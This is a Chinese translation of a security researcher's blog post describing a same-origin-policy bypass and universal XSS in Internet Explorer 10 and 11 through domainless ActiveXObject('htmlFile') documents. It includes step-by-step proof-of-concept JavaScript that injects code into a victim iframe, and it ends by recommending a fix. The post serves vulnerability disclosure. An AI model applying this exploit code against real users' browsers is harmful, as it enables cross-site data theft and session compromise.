原文:SOP bypass/ UXSS on IE – More Adventures in a Domainless World
原作者:Manuel Caballero
译:Holic (知道创宇404安全实验室)

几个月前我们研究过 Edge 浏览器上的无域的about:blank页面问题。强大的 about:blank document 基本上能够无限制访问任何域。该漏洞近期得以修复(CVE-2017-0002)。因此现在它已不再生效。同样的事情发生在了ActiveXObject/htmlFile (现在的 htmlFile) 上, 上周也被修复了(对应CVE-2017-0154)。

注:分别对应译文《 UXSS on Microsoft Edge – Adventures in a Domainless World
》和《SOP bypass / UXSS on IE11 htmlFile

如果你没见过这两个实现 UXSS/SOP 绕过的方法,现在就去看看吧,因为接下来的内容需要前文的知识。感谢 bug 猎手!

我们今天的目标是将原来的 Edge 漏洞移植到 Internet Explorer 上来。这应该挺轻松的,考虑微软对IE 漏洞并不上心。我们先看看这两个漏洞的状态:

在 IE 上创建无域的 about:blank

在原漏洞上,我们使用 data:url 创建无域的空白页面,那么我们怎样在 IE 上实现这点呢?htmlFile 再次立功。因为补丁不允许我们设置任意域,但我们仍可以设置为空白,或者无域的。

要创建无域的 htmlFile ,我们首先需要一个已经被销毁的document,换句话说,该 document 已经不存在。那么如何无中生有呢?对 Neil deGrasse Tyson 来说这是个更深入的问题,不过我会尽量解答。🙂

这个想法实际上很简单。我们只需要确保下述内容按顺序发生即可。

  1. 保存对 iframe 的 ActiveXObject 的引用。
  2. 至少实例化一次 htmlFile(IE 因此不会销毁它)
  3. 阻塞 iframe 线程(IE 没有机会销毁我们的应用)
  4. 销毁iframe 的 document(使用 document.open)
  5. 再次实例化 htmlFile。它现在便是无域的了。

步骤2和3非常重要。跳过步骤2将不能保存可利用的引用。跳过步骤3会让 IE 销毁对象。

Bug 猎手,我们之前曾见过这个阻塞线程的思路(参见那篇文章的底部),可用来发现大量漏洞。下面使用的线程阻塞技术是一个非常醒目的粗体的 alert。这样我们不会直接给攻击者提供工具,或者他们至少需要自己找的一个方案使这个 PoC 完全不可见。接下来请看代码。

无域 htmlFile

// We will attack the iframe below
// <iframe name="victim_iframe" src="https://www.google.com/recaptcha/..."></iframe>

// Render an iframe (we will destroy its document later)
document.body.insertAdjacentHTML('beforeEnd','<iframe name="ifr"></iframe>');

// Save a reference to its ActiveXObject
var ifr_ActiveXObject = ifr.ActiveXObject;

// Make sure IE does not invalidate our reference
new ifr_ActiveXObject("htmlFile"); // We don't even need save this instance

// Block the iFrame so the ActiveXObject object is never destroyed
ifr.setTimeout('alert("Do not close me until the PoC finishes, please.");');  

你是否注意到了我们使用 setTimeout 来执行阻塞的 alert?这是因为我们仍然需要进行继续处理,如果我们直接在 iframe 上 alert,它将会阻塞 UI,而不会执行接下来的内容。我们的目标是在阻塞的alert仍存在的情况下,销毁 iframe 的内容。别忘了 alert 是会阻止 IE 销毁 ActiveXObject 的。

现在我们将会销毁 iframe 的 document,并创建无域的 htmlFile。如果你对 document.open 不熟悉的话,你可以认为这个 PoC 是个 document.write 。

// Destroy the iframe document
ifr.document.open();

// Instantiate a domainless htmlFile
var domainlessDoc = new ifr_ActiveXObject("htmlFile");  

太棒了,此时我们有了无域的 htmlFile。现在需要用 iframe 加载我们想要访问的 URL 了,bingo!有关细节将在 original adventures in a domainless world 一文中有所体现(注:可参考paper的译文)。但实际上,我们正在用 iframe 加载任何站点,然后将其更改至 about:blank (属于 iframe 域)。然后,我们可以从无域的 htmlFile 自由地访问这个空白页面(绕过 SOP)。

// Inject the code in victim's inner iframe
domainlessDoc.parentWindow.setTimeout("victim_iframe[0].location = 'javascript:alert(parent.document.domain);'");  

想看实际演示吗?本例可以在 IE10 和 IE11 上直接使用,但只需一点点调整它就应该能在 IE6 到 IE11 上用了。当然这里不会做相应调整,但如果你感兴趣的话,可以告诉我。

[ Check out the PoC Live on IE10 or IE11 ]

Bug 猎手,我还要提醒你一下,htmlFile 仍有很多东西要探索。我相信它值得花一次雨天午后的时间深入研究!

以我之见,修复所有 htmlFile 相关 bug 的最好方案就是完全禁用来自iexplorer.exe 的实例化。很不幸,我没有足够的大局观,但可以猜到它存活至今必有其因。老实说,我不知道世界上开发者会怎么修复它。一旦这个对象被实例化,有太多的东西会超出 IE 的认知。

// If this code returns ACCESS_DENIED attackers will lose an amazing weapon
new ActiveXObject("htmlFile");  // Do not allow this anymore!